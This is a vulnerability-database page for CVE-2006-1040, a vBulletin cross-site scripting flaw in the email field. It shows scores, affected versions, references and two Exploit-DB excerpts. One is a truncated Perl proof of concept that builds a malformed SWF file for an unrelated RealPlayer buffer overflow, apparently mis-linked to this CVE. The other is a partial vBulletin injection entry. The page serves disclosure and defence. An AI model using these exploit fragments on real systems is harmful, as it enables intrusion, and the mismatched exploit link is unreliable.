CVE-2006-1040
published 2006-03-07CVE-2006-1040: Cross-site scripting (XSS) vulnerability in vBulletin 3.0.12 and 3.5.3 allows remote attackers to inject arbitrary web script or HTML via the email field…
PriorityP420medium4.3CVSS 2.0
AVNACMAuNCPINAN
EXPLOIT
EPSS
2.54%
83.0th percentile
Cross-site scripting (XSS) vulnerability in vBulletin 3.0.12 and 3.5.3 allows remote attackers to inject arbitrary web script or HTML via the email field, which is injected in profile.php but not sanitized in sendmsg.php.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jelsoft | vbulletin | — | — |
| jelsoft | vbulletin | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
RealPlayer 10.5 (6.0.12.1040-1348) - SWF Buffer Overflow (PoC)
exploitdb·2006-03-28·CVSS 9.3
CVE-2006-0323 [CRITICAL] RealPlayer 10.5 (6.0.12.1040-1348) - SWF Buffer Overflow (PoC)
RealPlayer 10.5 (6.0.12.1040-1348) - SWF Buffer Overflow (PoC)
---
#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin
# fbossi[at]netcomm.com.ar
###################################################
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so
my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";
my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
"\x00\x00\x00\x00\
Exploit-DB
vBulletin 3.0/3.5 - 'profile.php?Email' HTML Injection
exploitdb·2006-03-02
CVE-2006-1040 vBulletin 3.0/3.5 - 'profile.php?Email' HTML Injection
vBulletin 3.0/3.5 - 'profile.php?Email' HTML Injection
---
source: https://www.securityfocus.com/bid/16919/info
vBulletin is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
This issue is reported to affect vBulletin versions 3.0.12 through 3.5.3. Other versions may also be affected.
http://www.example.com//forum/profile.php?do=editpassword
pass:your pass
em
No writeups or analysis indexed.
http://secunia.com/advisories/19100http://www.kapda.ir/advisory-266.htmlhttp://www.osvdb.org/23614http://www.securityfocus.com/archive/1/426537/100/0/threadedhttp://www.securityfocus.com/archive/1/426589/100/0/threadedhttp://www.securityfocus.com/bid/16919http://www.vbulletin.com/forum/showthread.php?postid=1079030http://www.vupen.com/english/advisories/2006/0808http://secunia.com/advisories/19100http://www.kapda.ir/advisory-266.htmlhttp://www.osvdb.org/23614http://www.securityfocus.com/archive/1/426537/100/0/threadedhttp://www.securityfocus.com/archive/1/426589/100/0/threadedhttp://www.securityfocus.com/bid/16919http://www.vbulletin.com/forum/showthread.php?postid=1079030http://www.vupen.com/english/advisories/2006/0808
2006-03-07
Published